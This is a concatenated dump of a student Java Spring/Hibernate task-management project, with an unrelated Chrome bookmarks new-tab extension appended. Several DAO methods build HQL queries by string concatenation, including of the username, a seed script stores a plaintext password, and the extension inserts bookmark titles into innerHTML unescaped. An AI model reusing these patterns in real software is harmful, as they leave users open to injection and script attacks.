import dao.UsersDao; import model.CompletedProjectTask; import model.Project; import org.hibernate.Query; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import java.util.ArrayList; import java.util.List; /** * Created by prasad on 9/17/14. */ @Repository("completedProjectTaskDao") public class CompletedProjectTaskDaoImpl implements CompletedProjectTaskDao{ @Autowired private SessionFactory sessionFactory; @Autowired private ProjectDao projectDao; @Autowired private UserDao userDao; @Override public void addProjectTask(CompletedProjectTask projectTasks) { sessionFactory.getCurrentSession().saveOrUpdate(projectTasks); } @Override public List<CompletedProjectTask> listMyProjectTasks() { List<Project> projectList; List<CompletedProjectTask> tempProjectTasksList = null; List<CompletedProjectTask> projectTasksList = new ArrayList<>(); projectList = projectDao.listMyProject(); System.out.println("++++\nPL"+projectList.toString()); if (projectList != null){ for(int i = 0; i < projectList.size(); i++){ long project_id = projectList.get(i).getProjectId(); System.out.println("++++\nCPID"+project_id); tempProjectTasksList = sessionFactory.getCurrentSession().createQuery("from model.CompletedProjectTask cpt where cpt.project_id = '"+project_id+"'").list(); System.out.println("++++\nCTPLSIZE"+tempProjectTasksList.size()); if (tempProjectTasksList != null){ for(int x = 0; x < tempProjectTasksList.size(); x++){ System.out.println("++++\nCI"+i); System.out.println("++++\nCX"+x); System.out.println("++++\nCTPTLITEM"+tempProjectTasksList.get(0)); projectTasksList.add(tempProjectTasksList.get(x)); } tempProjectTasksList.clear(); } } } System.out.println("++++\nCTPTL"+tempProjectTasksList.toString()); System.out.println("++++\nCPTL"+projectTasksList.toString()); return projectTasksList; } @Override public List<CompletedProjectTask> allCompletedProjectTasks() { int asignee = userDao.getUserId(); return (List<CompletedProjectTask>) sessionFactory.getCurrentSession().createQuery("from model.CompletedProjectTask cpt where cpt.asignee = '"+asignee+"'").list(); } @Override public List<CompletedProjectTask> listAsignedProjectTasks() { return null; } @Override public CompletedProjectTask getProjectTask(long projectTaskId) { return null; } @Override public void deleteProjectTask(CompletedProjectTask projectTasks) { String hql = "DELETE FROM model.CompletedProjectTask WHERE projectTaskId = :projectTaskId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectTaskId", projectTasks.getProjectTaskId()); query.executeUpdate(); } @Override public CompletedProjectTask findProjectTaskById(long projectTaskId) { String hql = "from model.CompletedProjectTask where projectTaskId = :projectTaskId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectTaskId", projectTaskId); CompletedProjectTask completedProjectTask = (CompletedProjectTask) query.uniqueResult(); return completedProjectTask; } @Override public void updateProjectTask(long projectTaskId, int completenessLevel) { } @Override public void findByProject(long project_id) { } @Override public void update(long projectTaskId, int completenessLevel) { } @Override public int taskCompletedCount() { return allCompletedProjectTasks().size(); } } <file_sep>/mvccrud/src/main/java/dao/impl/ProjectTasksDaoImpl.java package dao.impl; import dao.ProjectDao; import dao.ProjectTasksDao; import dao.UserDao; import model.Project; import model.ProjectTasks; import model.Users; import org.hibernate.Query; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import java.util.ArrayList; import java.util.List; /** * Created by prasad on 9/17/14. */ @Repository("projectTasksDao") public class ProjectTasksDaoImpl implements ProjectTasksDao { @Autowired private ProjectDao projectDao; @Autowired private UserDao userDao; @Autowired private SessionFactory sessionFactory; @Override public void addProjectTask(ProjectTasks projectTasks) { sessionFactory.getCurrentSession().saveOrUpdate(projectTasks); } @Override public List<ProjectTasks> listMyProjectTasks() { List<Project> projectList; List<ProjectTasks> tempProjectTasksList = null; List<ProjectTasks> projectTasksList = new ArrayList<>(); projectList = projectDao.listMyProject(); System.out.println("++++\nPL"+projectList.toString()); if (projectList != null){ for(int i = 0; i < projectList.size(); i++){ long project_id = projectList.get(i).getProjectId(); System.out.println("++++\nPID"+project_id); tempProjectTasksList = sessionFactory.getCurrentSession().createQuery("from model.ProjectTasks pt where pt.project_id = '"+project_id+"'").list(); System.out.println("++++\nTPLSIZE"+tempProjectTasksList.size()); if (tempProjectTasksList != null){ for(int x = 0; x < tempProjectTasksList.size(); x++){ System.out.println("++++\nI"+i); System.out.println("++++\nX"+x); System.out.println("++++\nTPTLITEM"+tempProjectTasksList.get(0)); projectTasksList.add(tempProjectTasksList.get(x)); } tempProjectTasksList.clear(); } } } System.out.println("++++\nTPTL"+tempProjectTasksList.toString()); System.out.println("++++\nPTL"+projectTasksList.toString()); return projectTasksList; } @Override public List<ProjectTasks> listAsignedProjectTasks() { int asignee = userDao.getUserId(); return (List<ProjectTasks>) sessionFactory.getCurrentSession().createQuery("from model.ProjectTasks pt where pt.asignee = '"+asignee+"'").list(); } @Override public ProjectTasks getProjectTask(long projectTaskId) { return (ProjectTasks) sessionFactory.getCurrentSession().get(ProjectTasks.class, projectTaskId); } @Override public void deleteProjectTask(ProjectTasks projectTasks) { String hql = "DELETE FROM model.ProjectTasks WHERE projectTaskId = :projectTaskId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectTaskId", projectTasks.getProjectTaskId()); query.executeUpdate(); } @Override public ProjectTasks findProjectTaskById(long projectTaskId) { return null; } @Override public void updateProjectTask(long projectTaskId, int completenessLevel) { } @Override public void findByProject(long project_id) { } @Override public void update(long projectTaskId, int completenessLevel) { String hql = "update model.ProjectTasks set completenessLevel= :completenessLevel" + " where projectTaskId = :projectTaskId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectTaskId", projectTaskId); query.setParameter("completenessLevel", completenessLevel); query.executeUpdate(); } @Override public int taskCreatedCount() { return listMyProjectTasks().size(); } @Override public int taskReceivedCount() { return listAsignedProjectTasks().size(); } } <file_sep>/mvccrud/src/main/java/service/impl/CompletedUserTaskServiceImpl.java package service.impl; import dao.CompletedUserTaskDao; import model.CompletedUserTask; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import service.CompletedUserTaskService; import java.util.List; /** * Created by prasad on 6/8/14. */ @Service("completedUserTaskService") @Transactional(propagation = Propagation.SUPPORTS, readOnly = true) public class CompletedUserTaskServiceImpl implements CompletedUserTaskService { @Autowired private CompletedUserTaskDao completedUserTaskDao; @Override public void addCompletedUserTask(CompletedUserTask completedUserTask) { System.out.println("\n\n\n\n\n\ncalledService\n\n\n\n\n\n" + completedUserTask.getUserTaskName()); completedUserTaskDao.addCompletedUserTask(completedUserTask); } @Override public List<CompletedUserTask> listCompletedUserTask() { return completedUserTaskDao.listCompletedUserTask(); } @Override public CompletedUserTask getCompletedUserTask(long completedUserTaskId) { return null; } @Override public void deleteCompletedUserTask(CompletedUserTask completedUserTask) { completedUserTaskDao.deleteCompletedUserTask(completedUserTask); } @Override public CompletedUserTask findById(long completedUserTaskId) { return completedUserTaskDao.findById(completedUserTaskId); } } <file_sep>/mvccrud/src/main/sql/table.sql create table userTaskCompletenessLevel(userTaskId bigint , completenessLevel int); create table completedTasks(completedTaskId bigint auto_increment primary key , userTaskName varchar(255), startedDate datetime ) insert into user(password, status, username) values('123','Active','<EMAIL>'); insert into role(roleName) values('Normal'); insert into usersandroles(user_id, role_id) values(1,1); <file_sep>/mvccrud/src/main/java/dao/impl/UserTaskDaoImpl.java package dao.impl; import dao.UserTaskDao; import model.CompletedUserTask; import model.User; import model.UserTask; import org.hibernate.Query; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.Authentication; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.stereotype.Repository; import java.util.List; /** * Created by prasad on 6/4/14. */ @Repository("userTaskDao") public class UserTaskDaoImpl implements UserTaskDao { @Autowired private SessionFactory sessionFactory; @Override public void addUserTask(UserTask userTask) { sessionFactory.getCurrentSession().saveOrUpdate(userTask); } @Override public List<UserTask> listUserTask() { Authentication authentication = SecurityContextHolder.getContext(). getAuthentication(); String name = authentication.getName(); return (List<UserTask>) sessionFactory.getCurrentSession().createQuery("from model.UserTask ut where ut.userName = '"+name+"'").list(); } @Override public UserTask getUserTask(long userTaskId) { return (UserTask) sessionFactory.getCurrentSession().get(UserTask.class, userTaskId); } @Override public void deleteUserTask(UserTask userTask) { String hql = "DELETE FROM model.UserTask WHERE userTaskId = :userTaskId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("userTaskId", userTask.getUserTaskId()); query.executeUpdate(); } @Override public UserTask findById(long userTaskId) { String hql = "from UserTask where userTaskid = :userTaskid"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("userTaskid", userTaskId); UserTask userTask = (UserTask) query.uniqueResult(); return userTask; } @Override public void update(long userTaskId, int completenessLevel) { String hql = "update model.UserTask set completenessLevel= :completenessLevel" + " where userTaskId = :userTaskId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("userTaskId", userTaskId); query.setParameter("completenessLevel", completenessLevel); query.executeUpdate(); } @Override public int getAllUserTaskCount() { Authentication authentication = SecurityContextHolder.getContext(). getAuthentication(); String name = authentication.getName(); List<UserTask> userTaskList = sessionFactory.getCurrentSession().createQuery("from model.UserTask ut where ut.userName = '"+name+"'").list(); List<CompletedUserTask> completedUserTasks = sessionFactory.getCurrentSession().createQuery("from model.CompletedUserTask ct where ct.userName = '"+name+"'").list(); return userTaskList.size() + completedUserTasks.size(); } @Override public int getCompletedUserTaskCount() { Authentication authentication = SecurityContextHolder.getContext(). getAuthentication(); String name = authentication.getName(); List<CompletedUserTask> completedUserTasks = sessionFactory.getCurrentSession().createQuery("from model.CompletedUserTask ct1 where ct1.userName = '"+name+"'").list(); return completedUserTasks.size(); } @Override public int getIncompleteUserTaskCount() { Authentication authentication = SecurityContextHolder.getContext(). getAuthentication(); String name = authentication.getName(); List<UserTask> userTaskList = sessionFactory.getCurrentSession().createQuery("from model.UserTask ut1 where ut1.userName = '"+name+"'").list(); return userTaskList.size(); } } <file_sep>/mvccrud/src/main/java/controller/ProjectController.java package controller; import dao.UserDao; import model.CompletedProject; import model.Project; import model.User; import org.codehaus.jackson.map.ObjectMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.Authentication; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import service.CompletedProjectService; import service.ProjectService; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import java.util.Locale; /** * Created by prasad on 8/9/14. */ @Controller public class ProjectController { @Autowired private UserDao userDao; @Autowired private ProjectService projectService; @Autowired private CompletedProjectService completedProjectService; Project project1 = new Project(); CompletedProject completedProject = new CompletedProject(); @RequestMapping(value = "/add-project",method = RequestMethod.POST) public @ResponseBody String addProject(HttpServletRequest request, HttpServletResponse response) throws Exception { Project project = new Project(); //int ownerId = userDao.getUserId(); String startedDate = request.getParameter("startedDate"); String toBeCompleted = request.getParameter("toBeCompleted"); Date stdate = new SimpleDateFormat("MMMM dd yyyy kk:mm:ss", Locale.ENGLISH).parse(startedDate); Date cmdate = new SimpleDateFormat("MMMM dd yyyy kk:mm:ss", Locale.ENGLISH).parse(toBeCompleted); // project.setOwner(Long.parseLong(String.valueOf(ownerId))); project.setProjectName(request.getParameter("projectName")); project.setProjectDiscription(request.getParameter("projectDescription")); project.setStartedDate(stdate); project.setToBeCompleted(cmdate); projectService.addProject(project); ObjectMapper mapper = new ObjectMapper(); return mapper.writeValueAsString(project); } /*@RequestMapping(value = "/add-task", method = RequestMethod.GET) public @ResponseBody String addUserTask(HttpServletRequest request, HttpServletResponse response) throws Exception { System.out.println("CCCCCCCCC"); List<Project> myProjectList = projectService.listMyProject(); OutputStream out = new ByteArrayOutputStream(); ObjectMapper mapper = new ObjectMapper(); // System.out.println(mapper.writeValueAsString(myTaskList.toString())); // return mapper.writeValueAsString(myTaskList.toString()); mapper.writeValue(out, myProjectList); // final byte[] data = out.toByteArray(); System.out.println(out); return out.toString(); }*/ @RequestMapping(value = "/list-projects", method = RequestMethod.GET) public @ResponseBody String listProjects(HttpServletRequest request, HttpServletResponse response) throws Exception { List<Project> projectList = projectService.listMyProject(); // List<CompletedUserTask> completedUserTaskList = completedUserTaskService.listCompletedUserTask(); OutputStream out = new ByteArrayOutputStream(); ObjectMapper mapper = new ObjectMapper(); // System.out.println(mapper.writeValueAsString(myTaskList.toString())); // return mapper.writeValueAsString(myTaskList.toString()); mapper.writeValue(out, projectList); // final byte[] data = out.toByteArray(); System.out.println(out); return out.toString(); } @RequestMapping(value = "/list-all-projects", method = RequestMethod.GET) public @ResponseBody String listAllProjects(HttpServletRequest request, HttpServletResponse response) throws Exception { List<Project> projectList = projectService.listAllProjects(); // List<CompletedUserTask> completedUserTaskList = completedUserTaskService.listCompletedUserTask(); OutputStream out = new ByteArrayOutputStream(); ObjectMapper mapper = new ObjectMapper(); // System.out.println(mapper.writeValueAsString(myTaskList.toString())); // return mapper.writeValueAsString(myTaskList.toString()); mapper.writeValue(out, projectList); // final byte[] data = out.toByteArray(); System.out.println("\n\n\n$$$$$$$$$$$$$$$$$$$$$$"+out); return out.toString(); } @RequestMapping(value = "/update-project", method = RequestMethod.GET) public String updateUserTask(@RequestParam("projectId") long projectId, @RequestParam("completenessLevel") int completenessLevel){ projectService.update(projectId,completenessLevel); return "redirect:/my-task.html#groupProjects"; } @RequestMapping(value = "/complete-project", method = RequestMethod.GET) public String completeUserTask(@RequestParam("projectId") long projectId) throws ParseException { //System.out.println("############################"+ userTask.getuserName()); project1 = projectService.getProject(projectId); completedProject.setOwner(project1.getOwner()); completedProject.setProjectName(project1.getProjectName()); completedProject.setStartedDate(project1.getStartedDate()); completedProject.setToBeCompleted(project1.getToBeCompleted()); completedProject.setProjectDiscription(project1.getProjectDiscription()); //DateFormat dateFormat; SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//dd/MM/yyyy Date now = new Date(); String strDate = dateFormat.format(now); completedProject.setCompletedDate(dateFormat.parse(strDate)); System.out.println("\n\n\n\n\n\ncalledController\n\n\n\n\n\n" + completedProject.getProjectName()); completedProjectService.addCompletedProject(completedProject); projectService.deleteProject(project1); return "redirect:/my-task.html#groupProjects"; } @RequestMapping(value = "/notcomplete-project", method = RequestMethod.GET) public String notComplete(@RequestParam("userTaskId") long userTaskId) throws ParseException { CompletedProject completedProject1 = new CompletedProject(); Project project2 = new Project(); //System.out.println("############################"+ userTask.getuserName()); completedProject1 = completedProjectService.findById(userTaskId); project2.setOwner(completedProject1.getOwner()); project2.setProjectName(completedProject1.getProjectName()); project2.setStartedDate(completedProject1.getStartedDate()); project2.setToBeCompleted(completedProject1.getToBeCompleted()); project2.setProjectDiscription(completedProject1.getProjectDiscription()); project2.setCompletenessLevel(completedProject1.getCompletenessLevel()); projectService.addProject(project2); completedProjectService.deleteCompletedProject(completedProject1); return "redirect:/my-task.html#groupProjects"; } @RequestMapping(value = "/completed-project", method = RequestMethod.GET) public @ResponseBody String listCompletedProject(HttpServletRequest request, HttpServletResponse response) throws Exception { List<CompletedProject> completedProjects = completedProjectService.listMyCompletedProject(); OutputStream out = new ByteArrayOutputStream(); ObjectMapper mapper = new ObjectMapper(); // System.out.println(mapper.writeValueAsString(myTaskList.toString())); // return mapper.writeValueAsString(myTaskList.toString()); mapper.writeValue(out, completedProjects); // final byte[] data = out.toByteArray(); System.out.println(out); return out.toString(); } @RequestMapping(value = "/delete-completed-project", method = RequestMethod.GET) public String deleteCompletedProject(@RequestParam("projectId") long projectId) throws ParseException { CompletedProject completedProject1 = new CompletedProject(); completedProject1 = completedProjectService.findById(projectId); completedProjectService.deleteCompletedProject(completedProject1); return "redirect:/my-task.html#groupProjects"; } } <file_sep>/mvccrud/src/main/java/dao/CompletedUserTaskDao.java package dao; import model.CompletedUserTask; import java.util.List; /** * Created by prasad on 6/8/14. */ public interface CompletedUserTaskDao { public void addCompletedUserTask(CompletedUserTask completedUserTask); public List<CompletedUserTask> listCompletedUserTask(); public CompletedUserTask getCompletedUserTask(long completedUserTaskId); public void deleteCompletedUserTask(CompletedUserTask completedUserTask); public CompletedUserTask findById(long completedUserTaskId); } <file_sep>/mvccrud/src/main/java/dao/impl/ProjectDaoImpl.java package dao.impl; import dao.ProjectDao; import dao.UserDao; import model.Project; import model.User; import model.Users; import org.hibernate.Criteria; import org.hibernate.Query; import org.hibernate.SessionFactory; import org.hibernate.criterion.Projections; import org.hibernate.criterion.Restrictions; import org.hibernate.transform.Transformers; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.Authentication; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.stereotype.Repository; import java.util.List; /** * Created by prasad on 8/7/14. */ @Repository("projectDao") public class ProjectDaoImpl implements ProjectDao { @Autowired private UserDao userDao; @Autowired private SessionFactory sessionFactory; @Override public void addProject(Project project) { int ownerId = userDao.getUserId(); project.setOwner(Long.parseLong(String.valueOf(ownerId))); sessionFactory.getCurrentSession().saveOrUpdate(project); } @Override public List<Project> listMyProject() { int ownerId = userDao.getUserId(); return (List<Project>) sessionFactory.getCurrentSession().createQuery("from model.Project pt where pt.owner = '"+ownerId+"'").list(); } @Override public List<Project> listAllProjects() { return (List<Project>) sessionFactory.getCurrentSession().createQuery("from model.Project").list(); } @Override public List<Project> listMyProjectNames() { int ownerId = userDao.getUserId(); // String hql = "SELECT P.projectName,P.projectId FROM model.Project P WHERE P.owner = :ownerId"; // Query query = sessionFactory.getCurrentSession().createQuery(hql); // query.setParameter("ownerId", Long.parseLong(String.valueOf(ownerId))); // List results = query.list(); // // return results; Criteria cr = sessionFactory.getCurrentSession().createCriteria(Project.class) .add(Restrictions.eq("owner", Long.parseLong(String.valueOf(ownerId)))) .setProjection(Projections.projectionList() .add(Projections.property("projectId"), "projectId") .add(Projections.property("projectName"), "projectName")) .setResultTransformer(Transformers.aliasToBean(Project.class)); List<Project> list = cr.list(); return list; } @Override public List<Project> listAsignedProject() { return null; } @Override public Project getProject(long projectId) { return (Project) sessionFactory.getCurrentSession().get(Project.class, projectId); } @Override public void deleteProject(Project project) { String hql = "DELETE FROM model.Project WHERE projectId = :projectId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectId", project.getProjectId()); query.executeUpdate(); } @Override public Project findById(long projectId) { String hql = "from Project where projectId = :projectId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectId", projectId); Project project = (Project) query.uniqueResult(); return project; } @Override public void update(long projectId, int completenessLevel) { String hql = "update model.Project set completenessLevel= :completenessLevel" + " where projectId = :projectId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectId", projectId); query.setParameter("completenessLevel", completenessLevel); query.executeUpdate(); } @Override public int projectCount() { List<Project> list = listMyProject(); return list.size(); } } <file_sep>/mvccrud/src/main/java/dao/impl/VehicleDaoImpl.java package dao.impl; import dao.VehicleDao; import model.Employee; import model.Vehicle; import org.hibernate.SessionFactory; import org.hibernate.Query; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import java.util.List; import java.util.Queue; /** * Created by prasad on 4/25/14. */ @Repository("vehicleDao") public class VehicleDaoImpl implements VehicleDao { @Autowired private SessionFactory sessionFactory; @Override public void addVehicle(Vehicle vehicle) { sessionFactory.getCurrentSession().saveOrUpdate(vehicle); } @Override public List<Vehicle> listVehicles() { return (List<Vehicle>) sessionFactory.getCurrentSession().createQuery("from model.Vehicle").list(); } @Override public Vehicle getVehicle(String vehicleNumber) { return (Vehicle) sessionFactory.getCurrentSession().get(Vehicle.class, vehicleNumber); } @Override public void deleteVehicles(Employee employee){ String hql = "DELETE FROM model.Vehicle WHERE employee = :employee"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("employee", employee); query.executeUpdate(); } @Override public void deleteVehicle(Vehicle vehicle) { String hql = "DELETE FROM model.Vehicle WHERE VNUMBER = :vehicleNumber"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("vehicleNumber", vehicle.getVehicleNumber()); query.executeUpdate(); } } <file_sep>/mvccrud/src/main/java/model/UserTaskCompletenessLevel.java package model; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.Table; /** * Created by prasad on 6/8/14. */ @Entity @Table(name = "userTaskCompletenessLevel") public class UserTaskCompletenessLevel { @Column(name = "userTaskId") private long userTaskId; @Column(name = "completenessLevel", columnDefinition = "0") private int completenessLevel; public UserTaskCompletenessLevel() { } public UserTaskCompletenessLevel(long userTaskId, int completenessLevel) { this.userTaskId = userTaskId; this.completenessLevel = completenessLevel; } public long getUserTaskId() { return userTaskId; } public void setUserTaskId(long userTaskId) { this.userTaskId = userTaskId; } public int getCompletenessLevel() { return completenessLevel; } public void setCompletenessLevel(int completenessLevel) { this.completenessLevel = completenessLevel; } } <file_sep>/mvccrud/src/main/java/dao/ProjectTasksDao.java package dao; import model.ProjectTasks; import java.util.List; /** * Created by prasad on 9/17/14. */ public interface ProjectTasksDao { public void addProjectTask(ProjectTasks projectTasks); public List<ProjectTasks> listMyProjectTasks(); public List<ProjectTasks> listAsignedProjectTasks(); public ProjectTasks getProjectTask(long projectTaskId); public void deleteProjectTask(ProjectTasks projectTasks); public ProjectTasks findProjectTaskById(long projectTaskId); public void updateProjectTask(long projectTaskId, int completenessLevel); public void findByProject(long project_id); public void update(long projectTaskId, int completenessLevel); public int taskCreatedCount(); public int taskReceivedCount(); } <file_sep>/mvccrud/src/main/java/model/Vehicle.java package model; import javax.persistence.*; import javax.validation.constraints.NotNull; import javax.validation.constraints.Size; @Entity @Table(name = "Vehicle") public class Vehicle{ // @NotNull @Id @Column(name = "VNUMBER") private String vehicleNumber; // @Size(min = 1, max = 10) @Column(name = "VTYPE") private String vehicleType; @ManyToOne(fetch = FetchType.EAGER, cascade = CascadeType.ALL) @JoinColumn(name = "employee_EMPID", nullable = false) private Employee employee; public Vehicle() { } public Vehicle(String vehicleNumber, String vehicleType, Employee employee) { this.vehicleNumber = vehicleNumber; this.vehicleType = vehicleType; this.employee = employee; } public String getVehicleNumber() { return vehicleNumber; } public void setVehicleNumber(String vehicleNumber) { this.vehicleNumber = vehicleNumber; } public String getVehicleType() { return vehicleType; } public void setVehicleType(String vehicleType) { this.vehicleType = vehicleType; } //@Column(name = "OWNER") public Employee getEmployee() { return employee; } public void setEmployee(Employee employee) { this.employee = employee; } }<file_sep>/mvccrud/src/main/java/dao/UserDao.java package dao; import model.User; import model.User; import model.Users; import java.util.List; public interface UserDao { boolean addUser(User user); void editUser(User user); void deleteUser(int userId); User findUser(int userId); User findUserByName(String username); List<User> getAllUsers(); void updateUserTaskLevel(); int getUserId(); } <file_sep>/mvccrud/src/main/java/model/ProjectUser.java package model; import javax.persistence.*; /** * Created by prasad on 8/7/14. */ @Entity @Table(name = "projectUser") public class ProjectUser { @Id @GeneratedValue(strategy= GenerationType.AUTO) @Column(name = "projectUserId") private Long projectUserId; @Column(name = "project_id") private Long project_id; @Column(name = "asignee") private Long asignee; public ProjectUser(Long projectUserId, Long project_id, Long asignee) { this.projectUserId = projectUserId; this.project_id = project_id; this.asignee = asignee; } public Long getProject_id() { return project_id; } public void setProject_id(Long project_id) { this.project_id = project_id; } public Long getAsignee() { return asignee; } public void setAsignee(Long asignee) { this.asignee = asignee; } public Long getProjectUserId() { return projectUserId; } public void setProjectUserId(Long projectUserId) { this.projectUserId = projectUserId; } } <file_sep>/mvccrud/src/main/java/dao/ProjectUserDao.java package dao; import model.ProjectUser; import java.util.List; /** * Created by prasad on 8/7/14. */ public interface ProjectUserDao { public void addProjectUser(ProjectUser projectUser); public List<ProjectUser> listMyProject(); public List<ProjectUser> listAsignedProject(); public ProjectUser getProjectUser(long projectId); public void deleteProjectUser(ProjectUser projectUser); public ProjectUser findById(long projectId); public void update(long projectId); } <file_sep>/mvccrud/src/main/java/service/impl/UsersAndRolesServiceImpl.java package service.impl; import dao.UsersAndRolesDao; import model.UsersAndRoles; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import service.UsersAndRolesService; /** * Created by prasad on 9/5/14. */ @Service("usersAndRolesService") @Transactional(propagation = Propagation.SUPPORTS, readOnly = true) public class UsersAndRolesServiceImpl implements UsersAndRolesService { @Autowired private UsersAndRolesDao usersAndRolesDao; @Override @Transactional public void addRoles(UsersAndRoles usersAndRoles) { usersAndRolesDao.addRoles(usersAndRoles); } } <file_sep>/mvccrud/src/main/java/model/Tasks.java package model; import javax.persistence.Entity; import javax.persistence.Table; /** * Created by prasad on 7/12/14. */ @Entity @Table(name = "task") public class Tasks { } <file_sep>/mvccrud/src/main/java/dao/impl/CompletedProjectDaoImpl.java package dao.impl; import dao.CompletedProjectDao; import dao.UserDao; import model.CompletedProject; import org.hibernate.Query; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import java.util.List; /** * Created by prasad on 9/16/14. */ @Repository("completedProjectDao") public class CompletedProjectDaoImpl implements CompletedProjectDao { @Autowired private SessionFactory sessionFactory; @Autowired private UserDao userDao; @Override public void addCompletedProject(CompletedProject completedproject) { sessionFactory.getCurrentSession().save(completedproject); } @Override public List<CompletedProject> listMyCompletedProject() { int ownerId = userDao.getUserId(); return (List<CompletedProject>) sessionFactory.getCurrentSession().createQuery("from model.CompletedProject pt where pt.owner = '"+ownerId+"'").list(); } @Override public List<CompletedProject> listAsignedCompletedProject() { return null; } @Override public CompletedProject getCompletedProject(long projectId) { return null; } @Override public void deleteCompletedProject(CompletedProject completedproject) { String hql = "DELETE FROM model.CompletedProject WHERE projectId = :projectId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectId", completedproject.getProjectId()); query.executeUpdate(); } @Override public CompletedProject findById(long projectId) { String hql = "from model.CompletedProject where projectId = :projectId"; Query query = sessionFactory.getCurrentSession().createQuery(hql); query.setParameter("projectId", projectId); CompletedProject completedProject = (CompletedProject) query.uniqueResult(); return completedProject; } @Override public void completedUpdate(long projectId, int completenessLevel) { } @Override public int completedProjectCount() { List<CompletedProject> list = listMyCompletedProject(); return list.size(); } } <file_sep>/mvccrud/src/main/java/service/impl/UserServiceImpl.java package service.impl; import dao.UserDao; import model.User; import model.Users; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import service.UserService; import java.util.List; /** * Created by prasad on 8/26/14. */ @Service("userService") @Transactional(propagation = Propagation.SUPPORTS, readOnly = true) public class UserServiceImpl implements UserService { @Autowired private UserDao userDao; @Override public boolean addUser(User user) { return false; } @Override public void editUser(User user) { } @Override public void deleteUser(int userId) { } @Override public User findUser(int userId) { return null; } @Override public User findUserByName(String username) { return null; } @Override public List<User> getAllUsers() { return userDao.getAllUsers(); } @Override public void updateUserTaskLevel() { } @Override public int getUserId() { return 0; } } <file_sep>/README.md repo ==== This is git repository for final year project:QBTMS.
917d79056c6ba2ace337b96ddabe8afd56ff78ec
[ "Markdown", "Java", "SQL", "INI" ]
30
Java
QBTMS/repo
f1821922a9121fad9f22887115f8bde9cd012026
fd32a94b591e6a71649445b720dbeebbeab2e630
refs/heads/master
<repo_name>ramkumar-kr/new-tab-lite<file_sep>/js/bookmarks.js chrome.runtime.setUninstallURL("https://goo.gl/KiRZhg"); chrome.bookmarks.getSubTree('0', function(bookmarks){ var output = "<ul class=''>" + display_tree(bookmarks) + "</ul>"; document.body.innerHTML = output; }); function display_tree(bookmarks) { var output = ''; var subtrees = []; for (var i=0; i < bookmarks.length; i++) { if (bookmarks[i].children) { subtrees.push(bookmarks[i]); } else { output += bookmarkLeaf(bookmarks[i]); } } for(var i = 0; i < subtrees.length; i++){ output += bookmarkPanel(subtrees[i]); } return output; } function bookmarkPanel(subtree) { return ` <div class = "panel"> <h2 class = "panel-title"> ${subtree.title}</h2> ${display_tree(subtree.children)} </div>`; } function faviconImgTag(url) { return `<img class="favicon" width=16px height=16px src= "chrome://favicon/${url}"/>` } function bookmarkLeaf(bookmark) { if(validate(bookmark.url)){ return ` <li class='leaf'> <a class='button' href="${bookmark.url}"> ${faviconImgTag(bookmark.url)} ${bookmark.title} </a> </li>`; } else{ return ''; } } function validate(url) { return /(^http)|(^ftp)/.test(url); }
adb82d91bb53fc8fda3a5e3add1a25cbb42d4188
[ "JavaScript" ]
1
JavaScript
ramkumar-kr/new-tab-lite
e74f755fb4fdb09b5f998f8ed39cc78d41cbbf8c
7f9f95efc28621657d08525737d509303ff9d926
refs/heads/master
